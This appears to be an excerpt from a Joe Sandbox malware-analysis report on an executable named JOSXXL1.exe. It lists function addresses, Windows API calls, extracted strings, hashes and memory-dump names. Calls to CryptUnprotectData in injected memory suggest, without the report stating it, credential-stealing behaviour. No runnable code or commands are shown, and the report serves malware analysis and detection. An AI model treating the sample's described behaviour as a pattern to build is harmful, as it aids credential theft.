Instruction ID: e2cad66c9b02384d3be1b0302d87088ec840166322e374313d6fbb5223fafa3d
Opcode Fuzzy Hash: 56cab98530d4ff4408cd9c369303e271687e5fa7c90705031ed2c8dc290fa65f
Instruction Fuzzy Hash: 5D01B1B1210709AFEF208F51DD80A6B3B35EF85361F10813BFA00761D1C77A9C529E29

Function 00405863 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00426750,Error launching installer), ref: 0040588C
CloseHandle.KERNEL32(0040A230), ref: 00405899

Strings

Error launching installer, xrefs: 00405876

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: acebcc260901bb8c7477aeb1107a61866cbc161fdefa27c2bb5441bedb54154a
Instruction ID: c820723d4e94d220d757831b92c48145409d5a390a225df4cf368edf7247e646
Opcode Fuzzy Hash: acebcc260901bb8c7477aeb1107a61866cbc161fdefa27c2bb5441bedb54154a
Instruction Fuzzy Hash: 22E046B4600209BFEB10AB60ED49F7B7BADEB04348F408431BD00F2190D778A8148A78

Function 00405B83 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(80000000,C:\Users\user\Desktop,00402EAD,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\JOSXXL1.exe,C:\Users\user\Desktop\JOSXXL1.exe,80000000,00000003), ref: 00405B89
CharPrevW.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402EAD,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\JOSXXL1.exe,C:\Users\user\Desktop\JOSXXL1.exe,80000000,00000003), ref: 00405B99

Strings

C:\Users\user\Desktop, xrefs: 00405B83

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-224404859
Opcode ID: 2f3bd6b78df313aedfed625dab12a62b748c0839e8540faa9dae91e8a46bacba
Instruction ID: 9a844447357a9703a2937c3aa74ac44ffd17116a21dd7a3b54c6405c44ad0d39
Opcode Fuzzy Hash: 2f3bd6b78df313aedfed625dab12a62b748c0839e8540faa9dae91e8a46bacba
Instruction Fuzzy Hash: 86D05EB2401D209AD3226B08DC01D9F73ACEF1130174A486AE441A61A5D7787D808AA8

Function 100010E1 Relevance: 5.1, APIs: 4, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 1000116A
GlobalFree.KERNEL32(00000000), ref: 100011C7
GlobalFree.KERNEL32(00000000), ref: 100011D9
GlobalFree.KERNEL32(?), ref: 10001203

Memory Dump Source

Source File: 00000000.00000002.2337909771.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2337832913.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2337963642.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2338036438.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_JOSXXL1.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 9cbcb91a2cf1141c01d88779e182a67407fb9f9860b92084c2da8ef292891df1
Instruction ID: f345eba8489605592ce73ef35c78e6b42925bf5f5eceaf1f60f0973e38c56604
Opcode Fuzzy Hash: 9cbcb91a2cf1141c01d88779e182a67407fb9f9860b92084c2da8ef292891df1
Instruction Fuzzy Hash: AE318FF6904211DBF314CF64DC859EA77E8EB853D0B12452AFB45E726CEB34E8018765

Function 00405CBD Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405F9E,00000000,[Rename],00000000,00000000,00000000), ref: 00405CCD
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405CE5
CharNextA.USER32(00000000,?,00000000,00405F9E,00000000,[Rename],00000000,00000000,00000000), ref: 00405CF6
lstrlenA.KERNEL32(00000000,?,00000000,00405F9E,00000000,[Rename],00000000,00000000,00000000), ref: 00405CFF

Memory Dump Source

Source File: 00000000.00000002.2317523792.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2317487166.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317539116.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317554373.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2317686266.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JOSXXL1.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: b8842b5e9385eef73c106f2d1b4b6860648d7e9ee05fc0ebd9cde526d115cc76
Instruction ID: b93a28ad29d67f10a2270253d02d4651c85e208682c2a56c3792b5f99d5f0f7a
Opcode Fuzzy Hash: b8842b5e9385eef73c106f2d1b4b6860648d7e9ee05fc0ebd9cde526d115cc76
Instruction Fuzzy Hash: 6FF0F631104958BFC7129FA5DD00A9FBBA8EF05350B2580BAE841F7220D674DE01AF68

Analysis Process: JOSXXL1.exePID: 3492, Parent PID: 5316COMMON

Execution Graph

Execution Coverage:	9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	6.2%
Total number of Nodes:	113
Total number of Limit Nodes:	9

Executed Functions

Function 001529E0 Relevance: 8.2, Strings: 6, Instructions: 685
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Xoq, xrefs: 00152B57
Xoq, xrefs: 00152AD8
Xoq, xrefs: 00153CF6
Xoq, xrefs: 00152A9E
Xoq, xrefs: 00153CCD
Xoq, xrefs: 00152BA4

Memory Dump Source

Source File: 00000004.00000002.2934667558.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_JOSXXL1.jbxd

Similarity

API ID:
String ID: Xoq$Xoq$Xoq$Xoq$Xoq$Xoq
API String ID: 0-1596160944
Opcode ID: 3d3714c01104eeb999fe8fbad2d64919232f7eda68326149fd9d95909e18ce08
Instruction ID: f7c2fbc4e12afc9cf2a5f728a753d4efdcc02fefd50aae7851a0686d176b6d9e
Opcode Fuzzy Hash: 3d3714c01104eeb999fe8fbad2d64919232f7eda68326149fd9d95909e18ce08
Instruction Fuzzy Hash: 0C325E6684D7D48FCB638B7848E815B7FB16B92205B8945DFC4C78B687DB28C609C362

Function 39695028 Relevance: 8.1, Strings: 4, Instructions: 3069COMMON

Download Yara Rule

Strings

>B7, xrefs: 3969538F
>B7, xrefs: 39695351
>B7, xrefs: 39695323
N, xrefs: 39698408

Memory Dump Source

Source File: 00000004.00000002.2974390025.0000000039690000.00000040.00000800.00020000.00000000.sdmp, Offset: 39690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39690000_JOSXXL1.jbxd

Similarity

API ID:
String ID: >B7$>B7$>B7$N
API String ID: 0-2431159481
Opcode ID: 8f26bfa3b9da2077c2c38a7136d71114949162efccc41dd004dbb7493955d45f
Instruction ID: e5043db7467698e2fb5131e445e77ec3f9b3a0f3f65bec38a1d88ed75be80760
Opcode Fuzzy Hash: 8f26bfa3b9da2077c2c38a7136d71114949162efccc41dd004dbb7493955d45f
Instruction Fuzzy Hash: 6273D631D10B5A8EDB11EF68C854AD9F7B1FF99300F51D69AE44867221EB70AAC4CF81

Function 00155362 Relevance: 6.4, Strings: 5, Instructions: 195
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHkq, xrefs: 001555C8
PHkq, xrefs: 001555D9
0oNp, xrefs: 001553E2
LjNp, xrefs: 00155550
LjNp, xrefs: 00155566

Memory Dump Source

Source File: 00000004.00000002.2934667558.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_JOSXXL1.jbxd

Similarity

API ID:
String ID: 0oNp$LjNp$LjNp$PHkq$PHkq
API String ID: 0-1749821215
Opcode ID: 7c5555c410e7d1ba43e234787983585e155fe6ce58de739ff4211f4f30eaa5ea
Instruction ID: e49f99af54051c80e65b4d15e79872efd26976b0917d63f2b3cb991ae219140e
Opcode Fuzzy Hash: 7c5555c410e7d1ba43e234787983585e155fe6ce58de739ff4211f4f30eaa5ea
Instruction Fuzzy Hash: 5E91D774E00618CFDB14CFA9D894A9DBBF2BF89301F15C069E819AB365EB349985CF50

Function 0015C468 Relevance: 6.4, Strings: 5, Instructions: 191
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

LjNp, xrefs: 0015C647
PHkq, xrefs: 0015C6D0
0oNp, xrefs: 0015C4DA
PHkq, xrefs: 0015C6BF
LjNp, xrefs: 0015C65D

Memory Dump Source

Source File: 00000004.00000002.2934667558.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_JOSXXL1.jbxd

Similarity

API ID:
String ID: 0oNp$LjNp$LjNp$PHkq$PHkq
API String ID: 0-1749821215
Opcode ID: 9ddc2c7724e21cf980578eb82ef899f794239c6b0a264589031377b99850a8fb
Instruction ID: 10eca23fda33ab042648e5ff5db36d392c24bba873938b0fc0f4ec25fea75b0e
Opcode Fuzzy Hash: 9ddc2c7724e21cf980578eb82ef899f794239c6b0a264589031377b99850a8fb
Instruction Fuzzy Hash: 3D81C674E00218CFDB14DFAAD844A9DBBF2BF89301F14D06AE819AB365DB349945CF50

Function 0015C19B Relevance: 6.4, Strings: 5, Instructions: 188
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

LjNp, xrefs: 0015C377
0oNp, xrefs: 0015C20A
PHkq, xrefs: 0015C400
LjNp, xrefs: 0015C38D
PHkq, xrefs: 0015C3EF

Memory Dump Source

Source File: 00000004.00000002.2934667558.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_JOSXXL1.jbxd

Similarity

API ID:
String ID: 0oNp$LjNp$LjNp$PHkq$PHkq
API String ID: 0-1749821215
Opcode ID: dcb43b4af5529877e66b44e2ddd6302f8102156f023d13b0b5df64a38360e66d
Instruction ID: dedf1cd36ad829c62cd6ff139ddb072b00083ad20c903f450fc33f3d09fc741c
Opcode Fuzzy Hash: dcb43b4af5529877e66b44e2ddd6302f8102156f023d13b0b5df64a38360e66d
Instruction Fuzzy Hash: 4981B574E00218CFDB54DFAAD884A9DBBF2BF89301F14C06AE819AB365DB349945CF50

Function 0015D278 Relevance: 6.4, Strings: 5, Instructions: 188
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

LjNp, xrefs: 0015D457
LjNp, xrefs: 0015D46D
PHkq, xrefs: 0015D4CF
0oNp, xrefs: 0015D2EA
PHkq, xrefs: 0015D4E0

Memory Dump Source

Source File: 00000004.00000002.2934667558.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_JOSXXL1.jbxd

Similarity

API ID:
String ID: 0oNp$LjNp$LjNp$PHkq$PHkq
API String ID: 0-1749821215
Opcode ID: 98f617ac4e40d3e3df946bfa6343a3364e12889f4839ddac2aee69624234d5f4
Instruction ID: e3cf4ad5fe4a4a0edbf7aac4271ab6e609030dea97a1e046f2f0933f20bc6f7c
Opcode Fuzzy Hash: 98f617ac4e40d3e3df946bfa6343a3364e12889f4839ddac2aee69624234d5f4
Instruction Fuzzy Hash: C481C774E00218CFDB54DFAAD884A9DBBF2BF89301F14D069E819AB365DB34A945CF50

Function 0015CA08 Relevance: 6.4, Strings: 5, Instructions: 187
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHkq, xrefs: 0015CC70
0oNp, xrefs: 0015CA7A
PHkq, xrefs: 0015CC5F
LjNp, xrefs: 0015CBE7
LjNp, xrefs: 0015CBFD

Memory Dump Source

Source File: 00000004.00000002.2934667558.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_JOSXXL1.jbxd

Similarity

API ID:
String ID: 0oNp$LjNp$LjNp$PHkq$PHkq
API String ID: 0-1749821215
Opcode ID: 0bf2b8a1e26d01a88a6ed5b80a20b1e66c45ee1676cde7f416a9fabbbd8e7540
Instruction ID: b4d08f500769f38cf2e430fa0173ae123cd69c1fc288e151f56dee3c1e3137ed
Opcode Fuzzy Hash: 0bf2b8a1e26d01a88a6ed5b80a20b1e66c45ee1676cde7f416a9fabbbd8e7540
Instruction Fuzzy Hash: 9481B574E00218CFDB14DFAAD984A9DBBF2BF89301F14D069E819AB365DB349985CF50

Function 0015CCD8 Relevance: 6.4, Strings: 5, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

LjNp, xrefs: 0015CECD
PHkq, xrefs: 0015CF40
PHkq, xrefs: 0015CF2F
LjNp, xrefs: 0015CEB7
0oNp, xrefs: 0015CD4A

Memory Dump Source

Source File: 00000004.00000002.2934667558.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_JOSXXL1.jbxd

Similarity

API ID:
String ID: 0oNp$LjNp$LjNp$PHkq$PHkq
API String ID: 0-1749821215
Opcode ID: 405119af6d7c453022e60291fc1a565d5f3e245dd275fcb4e18f39d3193e763d
Instruction ID: 1ed7fafec0878c9ef7cc2f24ced5dbd21bd9f930fbec0b760c8d46a65bd049a9
Opcode Fuzzy Hash: 405119af6d7c453022e60291fc1a565d5f3e245dd275fcb4e18f39d3193e763d
Instruction Fuzzy Hash: A281B374E00218DFDB14DFAAD884A9DBBF2BF89301F14D069E819AB365DB349985CF50

Function 0015C738 Relevance: 6.4, Strings: 5, Instructions: 185
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHkq, xrefs: 0015C9A0
LjNp, xrefs: 0015C917
PHkq, xrefs: 0015C98F
0oNp, xrefs: 0015C7AA
LjNp, xrefs: 0015C92D

Memory Dump Source

Source File: 00000004.00000002.2934667558.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_JOSXXL1.jbxd

Similarity

API ID:
String ID: 0oNp$LjNp$LjNp$PHkq$PHkq
API String ID: 0-1749821215
Opcode ID: fd1d53afb33268dba9f4fcd76a3965ca308c130d176310e999cb6e7aa47cf83f
Instruction ID: d948ce80f45799b9855637bb85a374c5dc186661696ccfd3798672c57cbdc26b
Opcode Fuzzy Hash: fd1d53afb33268dba9f4fcd76a3965ca308c130d176310e999cb6e7aa47cf83f
Instruction Fuzzy Hash: 1E81E574E00218CFDB14DFAAD984A9DBBF2BF88305F14D06AE819AB365DB349945CF50

Function 0015CFAC Relevance: 6.4, Strings: 5, Instructions: 185
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0oNp, xrefs: 0015D01A
LjNp, xrefs: 0015D19D
PHkq, xrefs: 0015D1FF
PHkq, xrefs: 0015D210
LjNp, xrefs: 0015D187

Memory Dump Source

Source File: 00000004.00000002.2934667558.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_JOSXXL1.jbxd

Similarity

API ID:
String ID: 0oNp$LjNp$LjNp$PHkq$PHkq
API String ID: 0-1749821215
Opcode ID: f80c0f65ab550ba9ec293594b546fce422d52b1ac01e4d9d00961fe2e22f767c
Instruction ID: 858c17a10d5cab686d967b46e2e7e44e6365e7f336a9b09326f2e35c4f120938
Opcode Fuzzy Hash: f80c0f65ab550ba9ec293594b546fce422d52b1ac01e4d9d00961fe2e22f767c
Instruction Fuzzy Hash: 6481B574E00618CFDB14DFAAD984A9DBBF2BF89301F14C069E819AB365DB349985CF50

Function 00159DE0 Relevance: 6.1, Strings: 4, Instructions: 1137COMMON

Download Yara Rule

Strings

4'kq, xrefs: 0015AB13
4'kq, xrefs: 00159F0C
(okq, xrefs: 0015A518
4'kq, xrefs: 00159E04

Memory Dump Source

Source File: 00000004.00000002.2934667558.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_JOSXXL1.jbxd

Similarity

API ID:
String ID: (okq$4'kq$4'kq$4'kq
API String ID: 0-323808577
Opcode ID: 6bd0ca61d7e3c28b12529934258c8bea049d60db6544d02b67b7207718c68c52
Instruction ID: f910d8d03ede18e1d3519cd1cc87da67b13ab752ceb405a5af751a5da40829fc
Opcode Fuzzy Hash: 6bd0ca61d7e3c28b12529934258c8bea049d60db6544d02b67b7207718c68c52
Instruction Fuzzy Hash: 78A28230640209CFCB15CFA8C994AAEBBF2BF88301F558659E815DF261D735ED89CB52

Function 00156FC8 Relevance: 5.5, Strings: 4, Instructions: 451COMMON

Download Yara Rule

Strings

(okq, xrefs: 00157220
(okq, xrefs: 00157212
,oq, xrefs: 0015728A
,oq, xrefs: 00157298

Memory Dump Source

Source File: 00000004.00000002.2934667558.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_JOSXXL1.jbxd

Similarity

API ID:
String ID: (okq$(okq$,oq$,oq
API String ID: 0-2865278577
Opcode ID: 0f43b1f8deaeb86d259a51c8e563369066274d4a5fc3a6937aabfe4437d6ad64
Instruction ID: 5c0a0dd2f417461ef25efc83db7e9ac4c9e6f54c9214fe982a7469291cbcfb0e
Opcode Fuzzy Hash: 0f43b1f8deaeb86d259a51c8e563369066274d4a5fc3a6937aabfe4437d6ad64
Instruction Fuzzy Hash: CE025030A04219DFCB15CF68E885AADBBF2BF49311F158069EC25EB2A1D730DD89CB51

Function 001569A0 Relevance: 3.0, Strings: 2, Instructions: 515COMMON

Download Yara Rule

Strings

(okq, xrefs: 00156EDA
Hoq, xrefs: 00156DA6

Memory Dump Source

Source File: 00000004.00000002.2934667558.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_JOSXXL1.jbxd

Similarity

API ID:
String ID: (okq$Hoq
API String ID: 0-4134915641
Opcode ID: 6584a81e85578d67077be0abdf285c66e25fe4e107f472eacf4c30d6ec48c36a
Instruction ID: cabcb044c0ddc5b9f5704c8dd06a1381dedf86cab483e66757db4f1c4f87c5d1
Opcode Fuzzy Hash: 6584a81e85578d67077be0abdf285c66e25fe4e107f472eacf4c30d6ec48c36a
Instruction Fuzzy Hash: D8126F70B00219CFDB14DF69C954AAEBBF6BF88301F208569E859DB3A5DB309D45CB90

Function 39D78EF1 Relevance: 1.6, APIs: 1, Instructions: 57encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,?,00000000,?,?,?,?), ref: 39D78F5D

Memory Dump Source

Source File: 00000004.00000002.2974489659.0000000039D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 39D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39d70000_JOSXXL1.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: e32585f787ba08ced7d295733baaefcd4bf2858c45e6d6f93a34b9567a31de57
Instruction ID: e0cb21f74cda8075862a86ba68d15ff6b12c610a54e4950cd37dd44fd1204e5b
Opcode Fuzzy Hash: e32585f787ba08ced7d295733baaefcd4bf2858c45e6d6f93a34b9567a31de57
Instruction Fuzzy Hash: 111156B2800209AFDB10CF99C945BEEBFF5EF48320F14841AE958A7210C339A590DFA5

Function 39D787A8 Relevance: 1.6, APIs: 1, Instructions: 55encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,?,00000000,?,?,?,?), ref: 39D78F5D

Memory Dump Source

Source File: 00000004.00000002.2974489659.0000000039D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 39D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39d70000_JOSXXL1.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: 8519baf19b9feebf4524b3b994a83b52344a98bd05d213587afdcc2baf68e871
Instruction ID: 076e488983ba405cb63e10fd1d6e77695ce944afb76b57f00dbada72099aa1d6
Opcode Fuzzy Hash: 8519baf19b9feebf4524b3b994a83b52344a98bd05d213587afdcc2baf68e871
Instruction Fuzzy Hash: BD1144B2800309AFDB10CF99C945BDEBBF5EF48320F108419E558A7610C775A550DFA5

Function 39D78FB0 Relevance: 1.5, Strings: 1, Instructions: 272COMMON

Download Yara Rule

Strings

`([7, xrefs: 39D793A9, 39D793C3

Memory Dump Source

Source File: 00000004.00000002.2974489659.0000000039D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 39D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39d70000_JOSXXL1.jbxd

Similarity

API ID:
String ID: `([7
API String ID: 0-3452837591
Opcode ID: 325580527dc0acd89372a9cbb238f1ddc07f4fad13cdf678fbab26628e4496d2
Instruction ID: 21aa8412c5bb1a0a8625e87386bb14a7c45c3a296ce6858176545069c6cf53c4
Opcode Fuzzy Hash: 325580527dc0acd89372a9cbb238f1ddc07f4fad13cdf678fbab26628e4496d2
Instruction Fuzzy Hash: FDD18C78E01218CFDB55DFA5C990B9DBBB2AF89300F1080A9D809BB365DB359D86CF51

Function 3A7C56B8 Relevance: 1.5, Strings: 1, Instructions: 272COMMON

Download Yara Rule

Strings

`([7, xrefs: 3A7C5AAE, 3A7C5AC8

Memory Dump Source

Source File: 00000004.00000002.2974913948.000000003A7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A7C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a7c0000_JOSXXL1.jbxd

Similarity

API ID:
String ID: `([7
API String ID: 0-3452837591
Opcode ID: fd847eda2f636b0b33864ed2f28ce8c3f78270d30333ea5c4fd7c2d588d9a34d
Instruction ID: c2df84341cb5d5a389238d95fac9f47ae3388b7255ba96da677939081fd3f80a
Opcode Fuzzy Hash: fd847eda2f636b0b33864ed2f28ce8c3f78270d30333ea5c4fd7c2d588d9a34d
Instruction Fuzzy Hash: 23D19D78E01218CFDB55DFA9C990B9DBBB2AF89300F1080A9D809BB365DB359D85CF51

Function 3A7FD710 Relevance: .7, Instructions: 745COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974986779.000000003A7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a7f0000_JOSXXL1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee446e502f7ff04b04f4d45c0e7e9e1597451e47282edbff347ea367f7c6e3d5
Instruction ID: 8100c6fd56dddb9b2072055c551ac367686ff3ef29baaa4db49a1b52e1365043
Opcode Fuzzy Hash: ee446e502f7ff04b04f4d45c0e7e9e1597451e47282edbff347ea367f7c6e3d5
Instruction Fuzzy Hash: 62825C74E012288FDB65DF69C994BDDBBB2BB89301F1081EAA40DA7365DB315E85CF40

Function 3A7FEE48 Relevance: .7, Instructions: 677COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974986779.000000003A7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a7f0000_JOSXXL1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0294d8130d01e2c1be054cefcbc4a2e91747231b94d6b3b9bf0d7d629915338
Instruction ID: 43b912cbf6d8fec0f23ab16922ef04ab995aa766c8406af50c90c03ae6b2d8ce
Opcode Fuzzy Hash: f0294d8130d01e2c1be054cefcbc4a2e91747231b94d6b3b9bf0d7d629915338
Instruction Fuzzy Hash: 9D727F74E012288FDB65DF69C994BDEBBB2BF89300F1081EA940DA7265DB315E85CF41

Function 39699548 Relevance: .4, Instructions: 357COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974390025.0000000039690000.00000040.00000800.00020000.00000000.sdmp, Offset: 39690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39690000_JOSXXL1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2d8490b2086077b0c6e90ca0d918a4f9cfeca604cf7a90ed1afab05a3c26d98
Instruction ID: 1e5ac4d41ce881633d2c989bf14eee75ea9c72d919b25768ebc4813f29fc244e
Opcode Fuzzy Hash: a2d8490b2086077b0c6e90ca0d918a4f9cfeca604cf7a90ed1afab05a3c26d98
Instruction Fuzzy Hash: 45F1D274E11218CFDB14DFA9D984B9DBBB2BF88304F5081A9E808AB355DB74AD85CF50

Function 39D77B78 Relevance: .3, Instructions: 296COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2974489659.0000000039D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 39D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39d70000_JOSXXL1.jbxd

Similarity

API ID:
String ID:
API String ID:
